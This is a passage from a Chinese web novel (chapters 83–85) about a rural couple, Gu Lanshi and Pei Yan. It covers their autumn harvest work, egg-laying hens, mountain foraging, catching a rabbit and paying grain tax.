这回有毛驴拉板车,明显比之前收麦子时轻松许多。 天刚蒙蒙亮,顾兰时睁开眼,睡在外面的裴厌已经穿好衣裳下炕了。 “这会儿就去?”他打着哈欠坐起来。 “嗯,洗完垫垫肚子就过去。”裴厌说着开了房门,觉察到冷意后,他出去带好了房门,不然顾兰时衣裳还没穿好就受了寒。 昨天他们自己的稻谷收完了,拉稻谷回来的路上碰到顾兰河,说定了今天一早去白水村那边做短工,趁秋收挣点苦力钱。 这会儿不比收麦子的时候炙热,工钱回落到四十文一天,不过白大财主给管两顿饱饭,每一顿都会有碗肉菜,周围各个村的汉子都抢着去。 等顾兰时从房里出来,裴厌已经在灶房点了火烧水顺便热馒头。 他洗了把手,从罐子里捞出一块咸菜疙瘩,边切边说:“最近干的都是力气活,去那边还好点,有肉吃,等忙完这一阵,咱们也买点肉,我给你炖肉,要是想吃骨头棒子,也买点回来,一起炖上。” 裴厌往灶底塞一把柴火,笑着说:“好。” 顾兰时切了几片咸菜,馒头还没热,他和裴厌一起坐在灶火前,笑眯眯说:“估计我爹娘这两天就要打枣,我回去帮忙,给咱们也拿半口袋回来。” “嗯。”裴厌很喜欢这样依偎靠着,心情很好。 等吃过早食,他拿了镰刀出门,腰间挂着装水的竹筒,外面雾气还没散,山脚下露水比较重,就没让顾兰时送他出来,大黑倒是晃着尾巴送他出了篱笆门。 村子里也有动静,不少人家都往地里赶,田地多的还要再收一两天,也有和他一样去白水村做短工的年轻汉子。 裴厌从周家旁边的斜路往顾兰生顾兰河住的那一排房屋走,还没走远,就听见身后狗儿的声音。 “厌哥。”顾兰瑜笑着,手上也带了一把镰刀。 一看这架势,裴厌问道:“你也去?” “嗯,家里的稻谷也收完了,晾晒有爹娘在,我出来多少挣点。”顾兰瑜几步追上来说道。 两人一边走一边闲聊,汇合了顾兰生顾兰河后,一行四人不再耽误,脚下加快,往村子外面赶。 出村的时候碰见其他人,裴厌原本没有在意,不过看到徐启儿之后,目光不免多停留了一下。 徐启儿带着徐瑞儿,跟在他三大爷身后,手里同样只拿了镰刀,没有背竹筐,看样子也是要去做工的。 见裴厌望过来,徐启儿心中紧张,但还是喊了声裴厌哥。 想起顾兰时前两天的念叨,裴厌原本移开的目光又挪了回去,问道:“上哪里去?” 徐启儿赶忙回答:“去隔壁清水村刘顺子家做工。” 挣几个铜板总比靠着那一两银子坐吃山空好。 裴厌点点头,晚上回去告诉他夫郎,就能放心了。 第83章 从村里出去宽敞大路就一条,免不了要一起走一段。 徐启儿三大爷,也就是徐文德,上了点年纪,平日较沉默,黑瘦的脸上是常年劳作的风霜褶皱,一眼看去就知道是个老实人。 他干了一辈子活,力气还是有的,可身板再结实都不如年轻力壮的汉子。 白大财主倒是个乐善好施的人,遇着天灾饥年总会赈济附近村子,不过抢收是大事,秋时又多雨水,不趁着天气好赶紧割完稻谷,泡了水一年收成就没了。 因此在那边做工多是年轻汉子更吃香,像他这样的,除非和田间管事的熟识,不然就只能在田地稍多的小农户家里做几天短工。 见还带着徐瑞儿,顾兰生在旁边问道:“怎么,瑞儿也跟着去?” “嗯。”徐启儿点点头,说:“我俩算一份工钱。” 他十二岁,经常吃不饱,身量体魄一时比不上其他人,势弱了些,他顿一下开口:“三爷爷说好话求了刘顺子,我俩才得了这个活。” 徐瑞儿小是小,却十分懂事,哥哥让他做什么都去做,今天是去挣工钱,更不会耍小孩脾气,只是从小没娘,死了的爹又是个烂赌鬼,他小小年纪就有几分沉闷,不大说话。 原来这样,几人心中了然,两个小的凑一份工钱,应该是二十文,再管一顿饭。 徐文德有几分懦弱,活了这些年从不惹事,老了之后更是沉默寡言,对裴厌他心中不免有点畏惧,好在经过徐启儿的事后,他知道对方不是胡乱打人惹事的性子,便只在旁边走,没有太过惧怕。 清水村离小河村近,一行人在清水村通往田间的岔路口分开。 徐启儿回头看一眼走远的那几个人,其中裴厌个子最高,分外引人注目。 知道裴厌不是恶人,他心中感激,但每每见了裴厌,总会感到几分紧张惧怕,以至说话都差点变得结巴。 * 顾兰时闲不住,将成堆的稻子铺平,煮完猪食喂了家里禽畜后,太阳不知不觉就爬了上来,。 每天干惯了活不觉得疲惫,他提着竹篮到大菜地摘菜。 一晚过去,又有长大的瓜菜垂吊下来,有的藏在藤蔓叶片后面,因都是绿的,繁茂的地方乍一看还发现不了,得细心翻看翻看,不然要是长老了,味道就不太好。 他摘了几根丝瓜,看见有几条已经长得很大,都老了,依旧没有去动,转而去摘别的。 菜瓜地里也有几颗大的他俩一直没摘,是特意拣着形状品相好的留下,等长老变干黄了,取出籽做种子。 像丝瓜,干了之后的丝瓜络还能刷锅洗碗,甚至搓搓澡,用处大着。 摘了十几根丝瓜和二十多个菜瓜,菜篮沉甸甸的,他用胳膊挎着,另一手护住最上面的菜,脚步匆匆走回院子。 大黑正在喝水,见他坐在灶房门口洗菜,过来绕着他走了几圈,随后就出门在大菜地里到处转,闻闻这片菜,再嗅嗅那边藤蔓竹竿。 顾兰时没有管它,只要别咬菜就好。 洗好的菜放在一个大竹匾里,灶房外面的屋檐下放了两个差不多高的树墩,他起身拿了菜刀和一个木菜板出来,把木板放在树墩上,先拿刀削丝瓜皮和菜瓜皮。 削皮是个细致的活,手里又拿着刀,以前吃过割破手的亏,他没有分心,一根根削好后,放在木板上切成长短差不多的条子,在竹席上平铺一层,两三天就晒得又干又透。 因谷场被稻子占了,还要翻动,不免灰尘较大,他今天摘的菜又少,就没有用竹席。 他拿了几个竹匾过来,将菜条子摆放齐整,爬上木梯把竹匾一个个在屋顶上放好。 干完这些,见天色还早,他喝一碗热茶歇了歇,又拎起一个空竹筐拿了镰刀。 见大黑趴在院门外面,他锁好院门,一边往外面走一边说:“我出去打猪草,你就在前面看家。” 大黑跟着他一路从菜地走到篱笆门前,见他要锁门,这才不跟了。 顾兰时背着小半筐菜往家里走,刚进村就看见他爹娘和竹哥儿都背着一筐草正在开门。 “娘。”他脚下急促几分,小跑着近前,笑道:“爹,这么早就去打草了。” “都这个时候了,还不得趁草多的时候多晒点。”苗秋莲说完,又道:“你俩现在也有猪和毛驴了,虽说有麦秸和稻杆能喂,干草也记得多晒点,牲口吃饱吃壮了,来年才好干活,猪养肥点,还要下仔呢。” 顾铁山开了锁,率先跨进门槛里。 顾兰时跟着他们一起进去,笑着说:“娘我知道,这不就是出来打草,顺便给你们送点菜。” “好好。”苗秋莲在院里空地上放下竹筐,让顾铁山把草掏出来,自己和顾兰时先到灶房放菜。 路过院里枣树时,顾兰时看一眼,已经半红了。 苗秋莲开口道:“看明天后天有工夫的话,趁早打了,后边还忙呢。” “行,到时我过来帮忙。”顾兰时边说边取筐里的菜,又道:“娘,我今天拿一辫子蒜回去,该种大蒜了。” 苗秋莲点点头,说:“多拿一辫子,菜地大,多种一两行,明年无论蒜薹蒜苗还是大蒜就都多了。” 顾兰时和裴厌种菜她看在眼里,除了冬天,一年三季陆续都会有收获,卖菜挣点钱,虽不能大发一笔,也算是个长久的进项。 “好。”顾兰时答应着,把菜放好后拎起空竹筐往外走,问道:“狗儿不在?” 苗秋莲说:“早起就找你大哥二哥去了,到白水村做几天短工。” 顾兰时说道:“裴厌也去了,估计他们一起。” 竹哥儿把竹筐倒过来拍了几下,开口道:“兰时哥哥,咱们一块儿去打草,不然你一个人。” 顾兰时笑着点头:“嗯,一起去。” 平时打草都在村子附近,不过近来大家都忙着晒草贮存,量也大,想多弄点草,就得沿着河岸走远或是去山上割草,荒郊野地的,一个人到底有些不放心,裴厌前两天还说让他一个人别走太远。 他今天过来,其实是想找弟弟一起出门,这下好了,他爹娘也去,心里越发踏实。 见人多,一筐一筐往回背有点麻烦,顾铁山干脆推了板车出来,如此人就不用背竹筐了。 一家子齐心弄了好几板车草,一天下来,往顾家拉了三车,往顾兰时那边拉了两车,甚至顾兰时两顿饭都顺便在家里吃了。 * 雨水如丝,地上落叶枯黄残破,飘在冷雨水洼中。 秋雨连绵不绝,和夏天下得快晴得快的大白雨不同,有股湿冷之意弥漫在空气中,仿佛一下子凉了。 顾兰时添了件衣裳才出来,雨从昨天下午就开始下,因此今天早上他多睡了会儿。 裴厌在白大财主那边干了四天活,挣了一百六十文,回来后第二天也没歇息,他俩把冬麦子种了,大蒜前天也种下了,眼下没有太紧要的活。 他刚起来,还没有太清醒,站在堂屋门口看雨,大黑从柴房那边跑过来,喉咙里发出几声撒娇意味的低叫。 顾兰时打个哈欠,一阵冷风吹来,方才清醒许多。 院子里的菜也种了不少,如今是完全不缺菜吃,他拿了斗笠正要去挖棵春菜,天冷,早上只啃馒头太干了,煮个春菜汤吃,热乎乎一碗,身上也暖和。 还没走出堂屋,裴厌脚步声响起,从后院喂了牲口过来了。 “看这个。”他大步上前,笑着张开右手,露出里面的东西。 “蛋!”顾兰时眼中迸发出惊喜,情不自禁将鸡蛋拿了过来,小心看了好一会儿。 裴厌笑着说:“喂了鸡鸭,我顺势去鸡窝看了眼,没想到真有一个。” 鸡鸭养了这几个月,喂得都挺肥,本就到该下蛋的时候,最近他俩一直在留意,今天终于有了一个。 “还挺大的。”顾兰时喜不自胜。 裴厌笑着开口:“先留着吃,等以后下的多了,吃不完再去卖。” 鸡蛋是个稀罕东西,乡下人有很多都舍不得吃,拿去镇上卖钱好贴补家用,但他养这些小母鸡,从一开始就说好要给自己夫郎吃蛋,卖不卖钱都是后话。 他看一眼顾兰时,许是从夏到秋都有干不完的活,明显瘦了,心里有点不是滋味。 他想起没成亲之前,顾兰时那会儿还没出阁,两人在顾家门口碰见,那时候脸颊还有点肉乎乎的。 顾家日子好,别说鸡蛋,猪肉也能吃到,自然会胖一点。 没看见的时候还好,这会儿拿着鸡蛋在手里,顾兰时确实有点馋了,笑着说:“那咱俩先吃几天,解解馋,这个打成蛋花,煮在春菜汤里,怎么样?” 裴厌认真点头:“好,要拔春菜?” 顾兰时很开心,眉眼里带着笑意,说:“嗯,有点冷,不如烧个热乎乎的汤,撒点花椒面,麻麻热热喝一碗,也好驱寒。” 裴厌穿着蓑衣戴着斗笠,听他这样一说,确实有点饿了,转身往菜地走,说:“我去拔菜。” 顾兰时手里握着鸡蛋,既然不用去拔菜,他只在灶房忙碌,就摘了头上斗笠,脸上笑意始终不散。 一共养了十六只小母鸡,当初裴厌买的时候在禽市找了个养鸡老手,那人辨公母很准,果然买回来的都是小母鸡。 有这么多只鸡,一个开始下蛋,其他也会陆续下,以后就有蛋吃了。 细雨绵绵,他一出来,脚步立马加快,等进了灶房,高高兴兴把鸡蛋放在蛋篮子里,先着手点火烧水。 这篮子是他和裴厌五六天之前就备好的,里头垫了厚厚的干净麦秸。 他还特地裁了一片盖鸡蛋的麻布,无论平时盖着还是去镇上卖,都有个遮挡。 下雨外面的活不好干,只能在家里忙一忙,早食很简单,就是馒头和春菜汤,但裴厌还是赖在灶房,殷勤的洗菜切菜。 汤煮好之后,他又帮着端上桌。 顾兰时在桌边坐下,见汤盆里的春菜鲜绿,蛋花也十分漂亮,心里那叫一个高兴,自家鸡蛋,以后就不用花钱买了,想怎么吃就怎么吃。 他给裴厌先舀了半碗,笑道:“尝尝,看怎么样。” 裴厌接过,天冷,吹了两下,连勺子也不用,直接用碗喝,花椒味有点麻,咸淡正合适,下肚热乎乎又舒坦,有蛋花更是觉得暖胃,这一碗,倒像是比肉汤还好喝。 “香。”他连碗也不放下,说完又喝一大口,咽下去才觉得有点烫,连忙抬眸说道:“记得吹吹,不然顺着喉咙烫下去了,小口喝。” 顾兰时实在忍不住笑了下,问道:“烫到了?要不要紧?” 裴厌放下碗,拿起一个糙馒头,说:“不要紧,只是我喝的有点急,已经不烫了。” 风吹进来,两人在堂屋吃热乎饭,一点都不觉得冷。 第84章 后院,顾兰时早起头一件事就是摸蛋,铺满麦秸稻杆的鸭舍里,散落五枚偏青色的鸭蛋。 他小心拾起放进篮子里,又进旁边鸡圈转了转,天冷,这会儿又早,还没喂食,有四五只小母鸡窝在鸡舍里没出去,见他走过来,发出几声咕咕叫。 他在稻草里翻找,把小母鸡也扒拉开,看它们屁股底下有没有鸡蛋。 和鸭子不一样,鸡差不多都在白天下蛋,这一阵还没到它们下蛋的时候,没有摸到。 见稻草还算干净,这两天不用换,顾兰时提着蛋篮子出去,关好篱笆门喜滋滋往前院走。 裴厌正在前面扫院子,前两天下过雨后,秋意一下子就蔓延开,树叶渐渐变红变黄,从枝头飘落。 院里没有种树,前面也开垦成了一大片菜地,但昨晚吹风,山崖上的树叶随风飘进来,落在地上也不少。 地面晒了两天,平坦的地方已经干了,不过出了门,外面野地树林里还有些水洼透着湿意。 顾兰时提起小竹篮示意,笑道:“有五个鸭蛋。” 裴厌停下手里的活,一眼就看到篮子里的青皮鸭蛋,说道:“这几天攒了有一二十个。” “嗯,差不多。”顾兰时往灶房走,说:“加上这五枚,一共是二十二个” 他刚才往前院走的时候就在心里算出来了。 鸭子养得好,基本每天都会下一个,一共六只母鸭,正是“年轻”蛋多的时候,虽比不上村里一些人家养的多,对他俩来说已经足够了。 灶房里,他在案台前蹲下,把小竹篮放在地上,从案台下方小心抱出来一个大陶罐,陶罐里面也铺了稻草,里头有十几枚鸭蛋。 他把这五枚小心放进去,盖上盖子又把陶罐放回原处。 小母鸡有十六只,这几天陆续都下蛋了,多的时候,一个白天能摸十四五枚蛋,吃都吃不过来,连着蒸了两天鸡蛋羹过瘾,又嫩又滑,那叫一个好吃。 有鸡蛋吃,他俩就没动鸭蛋,回头攒多一点,好背去镇上卖。 放好后,顾兰时站起来问道:“今天想吃什么?煮个鸡蛋?” 裴厌扫了前院,放下大扫帚往后院走,后面自有铲粪扫洒的扫帚和铁锨,闻言说道:“好,再切两片咸菜。” 顾兰时答应一声就忙碌起来。 等两人吃过早食,把家里的牲口禽畜全都喂饱,又摘了好些丝瓜豇豆和菜瓜,太阳也大了,明晃晃挂在天上。 见露水潮气退了,他俩把墙边草棚里堆成一堆的稻谷推开铺平。 今年这场秋雨来得早,稻谷还没碾出谷粒就来了,幸好有草棚遮风挡雨。 这棚子里面的地势比谷场高一些,水不会流进去,是之前的人家搭建的,如此谷场上的东西就不必往堂屋和柴房塞。 只是后来破旧了,裴厌一点点修好,如今棚子两边还用密实的篱笆和草席围了墙,省得雨水飘进去。 他俩前天晚上还商量,等闲了还是把两边筑成更结实的泥墙,不然草席被雨水淋湿了会腐烂发霉,泥墙也更厚些。 院子里,裴厌洗菜,顾兰时坐在旁边又是削皮又是切成菜条子。 洗菜到底快一些,裴厌从水里捞出一把豇豆,甩一甩水放在竹匾上,说:“先把这些切了,我去焯水。” “好。”顾兰时把切了一半的菜瓜放在旁边,拾起豇豆切成短条,倾斜起木板倒在地上的大竹匾里。 裴厌又从木盆里捞一把洗干净的豇豆,直接给他放在木板上,等切完所有豇豆,他端起沉甸甸的竹匾,进灶房下锅焯水。 今天太阳好,雨水带来的潮湿晒了两天也干了,可谓秋高气爽,多晒点菜干子有备无患。 顾兰时一边切菜一边说:“菜正长得繁茂,还能再结一段时日,要是不去卖,都晒成干,我估摸着,够咱俩冬天吃了,西屋不是还有夏天晒的两三麻袋野菜干笋干,还有一点黑木耳和菌子干,差不多够了,不必太着急。” 裴厌给灶底添一把火,听见外头的声音,开口道:“是不着急,不过多一点更放心,秋天雨水多,也不知道后面会不会有连阴雨,万一菜下坏,就只能多挖野菜。” “也对。”顾兰时点点头,拿起一个菜瓜削皮,家里种的菜已经晒了不少干子,鲜菜份量沉,一晒干就变轻了。 他们两个人,一个月吃两麻袋干菜的话,也得有八袋,麻袋又大,想装满的话,无论野菜还是别的,都得多弄点。 虽然院里和外面菜地都种了萝卜和菘菜,不过这会儿还没到长成的时候,谁也不知道今年会是个什么光景,趁这会儿野菜还有,挖笋子也方便,勤快些总不会吃亏。 焯好豇豆,铺薄一点好晒,裴厌舀出来分了三个大竹匾盛放,端出来爬上木梯,把竹匾放在屋顶。 屋顶上头遮挡很少,晒一天不用到处随着太阳挪动。 他弄完这些,拿了把小刀坐在顾兰时旁边,捡起一根丝瓜削皮。 该晒的菜干都晒上了,两人收拾收拾,又拎起竹筐出了门。 下过雨山上有菌子和地皮菜,今天没那么忙,还想再挖几筐笋子背回来。 * 山林里偏冷,树木多,地上残存的雨水走几步就能看见,偶尔还从树叶梢头滴落冰凉的水滴。 顾兰时视线在周围地面巡视一番,抬头道:“没有,往里面走算了。” 前山来的人多,稍微有个野菜菌子之类的东西,早被人采走了,他俩今天出门迟,自然赶不上。 “好。”裴厌同样没找到山货。 他走在前面,遇到草高繁盛的地方,就用手里树枝敲打敲打,以防冷不丁踩到蛇虫,他自己还好,顾兰时很怕这些长虫毒物。 山里树多落叶也多,两人一边走一边寻找,无论灌木丛底下还是树叶底下,多翻翻还真找到一些被掩盖起来的低矮菌子。 捡山货是件靠运气的事,有时一两个时辰就能拾一篮子,有时转大半天都没收获。 他俩没有强求,今天天好,一呼一吸之间十分清新,肺腑里像是有股清气一般,连带着心情也好了。 “有地皮菜。”顾兰时发现旁边黑绿色的东西,连忙对前面正在拔菌子的裴厌说一声。 裴厌把一簇菌子放进小竹筐,说道:“来了。” 他前后背了两个竹筐,前面的筐子小,用来装其他山货,后面的大筐则放竹笋,这样就不怕被压坏菌子和其他东西。 地皮菜里有不少砂砾草叶,在山里只能大概拂掉,回去后才能好好清洗。 他俩捡的还算快,不一会儿就捡完了这一片,都放在裴厌拎着的小竹筐里。 一边捡一边往前走,发现没有了之后,顾兰时原地歇一下,抬头在周围树上看了一圈,他指着一棵树还没说话,裴厌同样看到了树上的黑木耳。 见裴厌在附近找树枝,却尽是些短的,够不到高处,他说道:“忘记带长竹竿了。” 木耳长在较高的地方,即便裴厌个头不矮,手里没家伙也难以够到。 要说爬树,顾兰时上前摸了摸树干。 刚下过雨,这树上有点青苔之类的湿滑东西,不好攀爬,若强行上去,脚下稍一打滑,人就会摔下来。 村里之前就有人这样摔过,运气算好的,下面有人手忙脚乱接着,只是崴了脚。 而且长木耳的树,有的表面上看不出来,实际里头已经开始枯朽了,压上去说不定会断裂。 “先试试。”裴厌捡了根树枝过来,放下两个竹筐,自己一手扶着树干踮起脚,另一手用树枝去戳上面的木耳。 顾兰时在旁边仰头看着,情不自禁说道:“往上一点。” 裴厌努力去够,总算戳下来几片,他退后两步往上面看,上头还有不少呢,于是说道:“这样,我抱着你,你来戳。” 顾兰时捡起掉在地上的几片黑木耳,把根上的脏东西掐掉,闻言想了一下,将背上的空竹筐放在地上,笑道:“好。” 裴厌把树下的土块和树枝踢到旁边,挽起袖口,示意顾兰时过来,随后一把将人抱起。 “哎呀。”顾兰时忽然到了高处,裴厌只抱着他的腿,上半身有点晃,连忙用左手撑着树干。 “小心。”裴厌在下面稳住身形,说道:“扒着树,别怕。” “嗯,我知道,你别乱动。”顾兰时说着,抬头去看上面,盯准了木耳的位置举起树枝用力戳掉。 一簇木耳掉落的同时,有碎树皮木屑洒下来,他连忙闭上嘴巴和眼睛,等没有东西后才敢睁眼,又试了一下树枝最高能碰到的地方,笑道:“这些都能够到,你稳住,别抬头看,不然脏东西会迷了眼睛。” “嗯,你小心。”裴厌在下边答应着,照着话没有再抬头,只听着顾兰时指挥往东一小步往西一小步,抱着人慢慢挪动。 木耳被戳下来,簌簌掉落在地,把最上面几片很大的用力戳下来后,顾兰时心满意足,得亏裴厌长得高,不然最上面的还没办法。 “好了。”他把树枝往旁边一扔,手轻扶着树干要下去。 裴厌依言照做。 脚踩在坚实的地面后,顾兰时舒一口气,看见地上掉落的木耳,拉过小竹筐就开始捡。 有的木耳戳烂了,不过不要紧,他俩自己吃,无所谓卖相。 秋天正是成熟丰收的时节,他俩找山货的同时,还发现好些果子,有的挂在枝头,有的是浆果山莓,无论大小,能摘的都摘了下来。 野山樱和野棠果味道都不错,还发现几颗山柿子树,结的柿子果不如家里种的大,但他们家柿子树还没种。 裴厌仗着个子高胳膊长,把树枝拽下来让顾兰时摘。 红了的山柿子不多,拢共就十五六个,顾兰时又挑着黄透带一点红的摘了十来个,回家放一放,也就熟软了。 浆果和山莓低矮,都不用裴厌,他自己就能够到。 “这个甜,你先尝尝。”顾兰时吃了一颗红色浆果,笑眯眯喊旁边采山莓的裴厌过来。 浆果不多,他俩干脆站在树前一边摘一边吃,甜津津的小果子着实让人喜爱。 旁边山莓倒是长得繁茂,虽然没有浆果这么甜,也能当个零嘴吃,他俩下手很快,不一会儿就摘了小半筐。 临走的时候,顾兰时开口道:“过两天再来看看,说不定其他的就长大红了。” “好。”裴厌答应着,再次在前面开路。 身后,成熟的山莓被搜刮个干净,看不见一点红色。 他们要不摘,别人过来也会摘干净,乡下人零嘴少,好容易碰见,怎么会放过。 在山上转悠一个多时辰后,裴厌身前背的小竹筐已经满了,里头不仅有野菜和果子,还有不少野澡珠,满满当当弄了一筐。 往竹林那边走,顾兰时笑着说:“今天运气好。” 话音刚落,就见裴厌忽然停下脚步,盯着远处看,他下意识看过去,那边草丛微晃,他看了几眼,才发现可能是只野兔子藏在里面。 不用裴厌说,他闭上嘴巴没敢出声,生怕惊动了。 上山时顺手带了弹弓,这会儿还真用上了。 裴厌从怀里掏出来,身前的小竹筐里有几个方才顺手捡的小石头。 破风声响起,顾兰时再看过去,那只野兔子被打中后没有死,胡乱往旁边逃窜。 他心中紧张,急得差点要过去抓,裴厌把手里另一个小石头绷在弹弓里,再次射了过去。 别看弹弓没有羽箭那样的箭头,只要打得准,威力也不小,野兔受了第二次攻击,一下子打在后腿,明显伤到了,拖着一条腿再也跑不快。 见状,顾兰时跃跃欲试,笑着说:“我去捉。” 他背上竹筐是空的,走路比裴厌更轻松,说着就往前去。 没有错过这只野味,裴厌随手把弹弓放在身前竹筐里,跟在夫郎后面慢悠悠走,笑着开口:“你说对了,咱们今天就是运气好。” “是吧。”顾兰时很高兴,快步跑过去,见这兔子有点野性,怕被蹬几脚,他试探两下,最后揪着两只兔耳将其拎了起来。 裴厌顺手从地上扯了几根结实有韧性的长草,上前把兔子四条腿捆在一起,随手丢进自己背后竹筐里。 “会不会咬断草跳出来?”顾兰时有点担心,这兔子肥,肉肯定多。 裴厌往竹林走,闻言笑道:“不会,后腿已经伤了,它跳不动。” 顾兰时一下子放心了,今天这运气实在好,他高兴到哼了两句听过的戏,戏词记不太清,只能把调子断断续续哼出来。 裴厌不知道他在哼什么,顾不上问,竖起耳朵专心听了一阵。 第85章 兔子被打中两次,受惊又受伤的情况下,到家已经半死不活了,后腿皮毛渗出一点血迹。 原本还想多背两趟竹笋,见状,顾兰时烧水,裴厌在院里磨柴刀,还是趁新鲜宰杀了。 大黑围着兔子转悠,被裴厌呵斥之后往后退几步趴下,之前杀过几次兔子,掏出来的脏腑会丢给它吃,它已经习惯。 听不到外面磨刀的声音,顾兰时给灶底添一把柴火,大火烧水挺快的,锅里已经滚开了,他朝外面问道:“要杀了?” “嗯,磨好了。”裴厌起身,拾起地上的兔子,将其倒吊在柴堆旁边的木桩上,这木桩是之前宰兔子剥皮特意竖的,木桩底下有一堆灶膛里掏出来的草木灰,兔血滴落在草木灰里,弄脏铲走就好,不用污了院里土地。 他随手捡了一根木柴,用力挥打在兔子后脑,他力气大,一下就让野兔子彻底丧了命。 柴刀之前用钝了,眼下磨好十分锋利,他用刀尖割破兔子喉管,血液流了下来。 顾兰时出来看,兔血还在流,不急着剥皮,见狗上前去闻灰堆里的血,他皱眉一摆手,吆喝道:“去!” 家里养的狗,又不是野地山里乱跑的野狗,这些血腥脏污还是少沾为好,万一舔了那些血,就更不好。 大黑被裴厌看了一眼,耳朵登时朝后背,尾巴有点夹着,不敢再上前。 “吃过饭,是去山上挖笋还是磨皮子?”顾兰时问道。 磨皮鞣制的法子,是裴厌随军时看几个老兵弄记下了,回到小河村后自己才上手学着鞣了几次。 手艺不算太好,皮子剥下来也有点损伤,不过前两次鞣好的皮子没发臭也挺软和,自己倒是能用。 那几张兔皮他俩留着,暂时没动,等入冬以后,若皮毛价钱高就卖点钱,要是镇上的人看不上皮子有损,自己做个围脖子或是两双毛靴也好。 裴厌看一眼天色,说:“还是去挖笋,多挖两筐晒笋干,毛皮可以在阴凉处放几天,如今没有夏天那么热,不怕腐臭。” “好。”顾兰时点点头。 听见后院鸡叫声,他露出个笑,说道:“我去看看。” 他提了小竹篮往后院走,母鸡有时下蛋后会咯咯叫,近来一直留意鸡蛋鸭蛋,听到后免不了上心。 果然,一到后院,还没进鸡圈呢,顾兰时就看见鸡舍前的两颗蛋,有的母鸡下蛋很随意,想不到的地方也会有,因此每次来摸蛋,他都要好好翻找。 母猪在圈里听见人声,以为有吃的,哼哼了一阵,顾兰时一共找了四颗鸡蛋,笑眯眯把蛋放进篮子里,虽然这会儿不到喂食的时候,他还是给猪和毛驴抱了一捆草放进槽里。 回到前院后,裴厌已经在剥皮了,他对这样的血腥场面没有兴趣,放好鸡蛋后,拿起木叉去翻谷场上的稻子。 兔子杀好后,已经到了饭时,忙了一早上,两人都饿了。 顾兰时煮好了米汤,馒头也热好了,等裴厌把兔子剁成块,他直接把兔肉下锅炖煮,放了大蒜老姜还有花椒秋辣子,兔肉新鲜,又有料来配,味道自然不差。 入秋后山里兔子挺肥的,肉块剁了不少,两个人吃的肚饱意足。 * 天公作美,连着半个月都是大晴天,稻子晒干后,今年他们自己有毛驴,不用回家去借,给驴子套上石磙,一圈圈碾场脱粒,最后灌进粮食瓮里。 这期间有差役来收粮税,里正徐承安跟着他们挨家挨户收取,遇到家中贫寒的,帮着说两句好话,想法子拖延拖延。 到了徐启儿这边,因他俩老爹死了,家里没有十五岁以上的壮丁,按他们大夏律法,徐启儿兄弟俩都不用交人头税,他俩只有两亩薄田,这回下来的差役和徐承安有几分远亲关系,看在他的面子上,裁夺着,粮食少收了一点。 顾兰时和裴厌今年可以说丰收了,交粮税没有故意推脱。 只要交了,里正不会为难,差役也不会冷脸找麻烦,以后买田要去盖官印就不会生出事端,他俩不至于这点眼力见都没有。 因裴厌以前随过军,又是出力打了胜仗的战兵,按律法免了一部分粮税,倒是有几分实实在在的好处。 这半个月里,他俩不止忙打粮食的事,每天要打猪草囤着,得了空就上山挖野菜和笋子,不断晒菜干,隔几天还要去地里拔拔草浇浇水,没个闲工夫。 忙碌带来的不止劳累,还有装进麻袋里的各种菜干,一点点积攒,竟也有好几袋了。 * 下午,顾兰时拿了镰刀出来割韭菜,之前随便种的,虽然没有春韭菜好,但也能换个口味。 这会儿的秋韭少,昨天早上他和裴厌去卖鸭蛋和鸡蛋时,顺便割了一筐鲜绿的韭菜去镇上卖,还卖了个好价钱,一斤七文钱,一共十八斤,刚进巷子吆喝,就被几个大户买完了。 韭菜一共种了三行,昨天割了两行半,剩下这些足够他俩吃的,家里人来了还能给一点。 一入秋,蛐蛐就冒了头,夜里常常能听到它们躲在缝隙里叫唤。 割韭菜的时候,顾兰时就看见地里有几个蛐蛐蹦跶,他割了两把够炒鸡蛋的,放下镰刀,挽起袖子逮蛐蛐。 最近鸡鸭都在下蛋,鸭子还好,能放进河里让它们自己捉小鱼小虾吃,鸡在圈里不好放出来,就只能他和裴厌给抓虫子挖地龙,像他娘说的,吃点虫子当荤菜给补补。 逮到两只蛐蛐后,他顺手掐了一段细韧的藤蔓,从蛐蛐颈后的一块软肉穿过,将两只串在一起,不然不好拿。 虽然有篱笆墙,但挡不住这些小虫子进来,顾兰时捉蛐蛐的时候发现有菜叶被咬了,登时有点心疼。 看见又有蛐蛐蹦跶,不少呢,他站在原地想了一下,转身回去,把一群小母鸡赶了出来。 他嘴里咕咕咕仿着老鸡叫唤,两个胳膊往前挥,让母鸡进了大菜地。 菜地大,小母鸡四散开来,有的眼尖跑得快,追着蛐蛐虫子啄食,有的在土里刨来刨去,找地下的虫子吃。 已经下午了,不上山也不出远门,倒是有点闲工夫。 裴厌拉了板车去打猪草,他拿了小凳子坐在地里,一边择韭菜一边看着小母鸡,不让它们啄菜叶子。 大黑瞧着凶恶,其实挺聪明,有看家护院的本能,见两只小母鸡快走到篱笆门前了,它一阵风一样跑过去,汪汪叫着,把小母鸡赶了回来。 有的母鸡胆小,被狗叫声吓到,扑棱着翅膀快速朝旁边逃跑。 顾兰时抬头看一眼,母鸡被剪了羽毛,没办法飞起来,不用担心它们会飞过篱笆墙。 见有母鸡啄菜叶,他连忙放下手里的韭菜,拍响双手将母鸡赶走。 大黑从前面跑回来,看了一会儿竟看懂了,只要母鸡啄菜叶子,它就汪汪叫几声吓走。 顾兰时择好菜,原本不放心自己去洗菜做饭,见大黑这么聪明,他十分惊喜,笑着揉揉狗头,说:“那你好好看着,我去做饭,等会儿给你吃蛋壳。” 听裴厌说大黑以前是野狗,又瘦又小,还被别的狗欺负,许是从前吃不饱的缘由,如今给什么吃什么,一点不剩,连鸡蛋壳都很爱吃。 被揉了脑袋,大黑尾巴摇得飞快。 不知不觉过去几个月,它毛发顺了,竟也吃得油光水滑,一点不见以前的脏丑潦草,村里人看见它,除了害怕以外,倒不像以前那么嫌弃。 菜地里小母鸡到处抓蛐蛐,顾兰时双手抱着韭菜进灶房忙碌,最近煮鸡蛋和鸡蛋羹吃的多,今天换个花样,用韭菜炒。 忙起来顾不上外面,等听见裴厌喊他后,才知道人已经进院门了。 裴厌把装满草的板车放好,从草底下掏出十来个红艳艳的柿子,笑着说:“今天打草走得远,路过村里时,岳丈他们正在卸柿子,给了一些。” “这几个软,已经能吃了,尝尝。”他说着,从中挑出苗秋莲特意给的红软柿子。 柿子树石榴树村里种的人多,不算太稀罕的东西,但他还是很高兴。 小时候柿子一红,他只能趁夜里没人的时候爬上树偷摘一两个,叶金蓉对家里的所有食物看得紧,结的柿子果甚至每天都要数数。 他摸黑随便摘一个最底下的,没变软吃起来是涩的,只有里面稍甜一点,第二天被发现还要挨顿打。 后来他不偷了,到山上去找野柿子,有的变软了,却被鸟儿啄了几个洞。 